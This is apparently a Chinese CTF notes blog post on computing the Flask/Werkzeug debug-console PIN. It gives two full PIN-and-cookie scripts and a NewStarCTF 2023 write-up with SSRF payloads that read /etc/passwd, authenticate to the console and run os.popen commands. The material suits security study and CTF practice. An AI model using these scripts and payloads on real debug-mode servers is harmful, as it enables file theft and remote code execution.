flask计算PIN码

Last updated on September 27, 2024 am

概念

pin码是 flask应用在开启debug的模式下,进入控制台调试模式下所需的进入密码。 相当于是 pyshell

访问/console进入控制台

pin码六要素

1
2
3
4
5
6
username /etc/passwd进行猜测
modname 一般是flask.app
getattr(app, "__name__", app.__class__.__name__) 一般是Flask
moddir flask库下app.py的绝对路径 可以通过报错获取
int(uuid,16) 即当前网络的mac地址的十进制数 #/sys/class/net/eth0/address
get_machine_id() 机器的id

纯docker机machine-id获取

1
2
3
/proc/sys/kernel/random/boot_id拼接/proc/self/cgroup里1:中/docker/字符串后面的内容
例子
26657bfd-2d70-45fa-97b3-99462feda8930d9d814928e85948f3038055a34d6cf66517e006e8a0e6ec53991f758d0ee6ba

k8smachine-id 获取

1
2
3
/etc/machine-id拼接/proc/self/cgroup里docker-...
例子
96cec10d3d9307792745ec3b85c89620docker-6456d01879fc0ce07b1141d1001093bacd10422163bc5622a98159adc7a6c100.scope

上面需要能够进行文件读取

flask计算PIN码脚本

高版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import hashlib
from itertools import chain
import time

probably_public_bits = [
'root' # /etc/passwd
'flask.app', # 默认值
'Flask', # 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到(传参随便传能报错就行)
]

private_bits = [
'2485377568585', # /sys/class/net/eth0/address 十进制 ba:5c:f6:bc:79:68-》 204908439304552
'653dc458-4634-42b1-9a7a-b22a082e1fce898ba65fb61b89725c91a48c418b81bf98bd269b6f97002c3d8f69da8594d2d2' #machine-id 由三个合并(docker就后两个):1. /etc/machine-id   2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
cookie = str(int(time.time())) + "|" + hashlib.sha1(f"{rv} added salt".encode("utf-8", "replace")).hexdigest()[:12]
print(f"cookie为: {cookie_name}={cookie}")

低版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import hashlib
from itertools import chain
import time

probably_public_bits = [
'root' # username,通过/etc/passwd
'flask.app', # modname,默认值
'Flask', # 默认值
'/usr/local/lib/python3.7/site-packages/flask/app.py' # moddir,通过报错获得
]

private_bits = [
'25214234362297', # mac十进制值 /sys/class/net/ens0/address
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa' # /etc/machine-id
]

# 下面为源码里面抄的,不需要修改
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
cookie = str(int(time.time())) + "|" + hashlib.sha1(f"{rv} added salt".encode("utf-8", "replace")).hexdigest()[:12]
print(f"cookie为: {cookie_name}={cookie}")

pppython?(NewStarCTF 2023 week5)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

if ($_REQUEST['hint'] == ["your?", "mine!", "hint!!"]){
header("Content-type: text/plain");
system("ls / -la");
exit();
}

try {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
curl_setopt($ch, CURLOPT_HTTPHEADER, $_REQUEST['lolita']);
$output = curl_exec($ch);
echo $output;
curl_close($ch);
}catch (Error $x){
highlight_file(__FILE__);
highlight_string($x->getMessage());
}

?>
  • 先利用ssrf读取文件
1
url=file:///etc/passwd&lolita[]=
  • 使用脚本计算pin码和cookie

  • ssrf验证pin码

1
http://127.0.0.1:1314/console?__debugger__=yes&cmd=pinauth&pin=479-984-352&s=S8pl4s2BFc3twTzNOy1j&lolita[]=

s是通过报错获得的SECRET

1
2
3
4
var CONSOLE_MODE = false,
EVALEX = true,
EVALEX_TRUSTED = false,
SECRET = "S8pl4s2BFc3twTzNOy1j";
  • ssrf命令执行
1
http://localhost:1314/console?&__debugger__=yes&cmd=__import__("os").popen("cat${IFS}$9flag").read()&frm=0&s=S8pl4s2BFc3twTzNOy1j&lolita[]=__wzd6074dc98f8ebafc5ab76=1699333705|ff7b3a920e45

本文作者: fru1ts
本文链接: https://fru1ts.github.io/2023/07/24/flask%E8%AE%A1%E7%AE%97PIN%E7%A0%81/
版权声明: 本站均采用BY-SA协议,除特别声明外,转载请注明出处!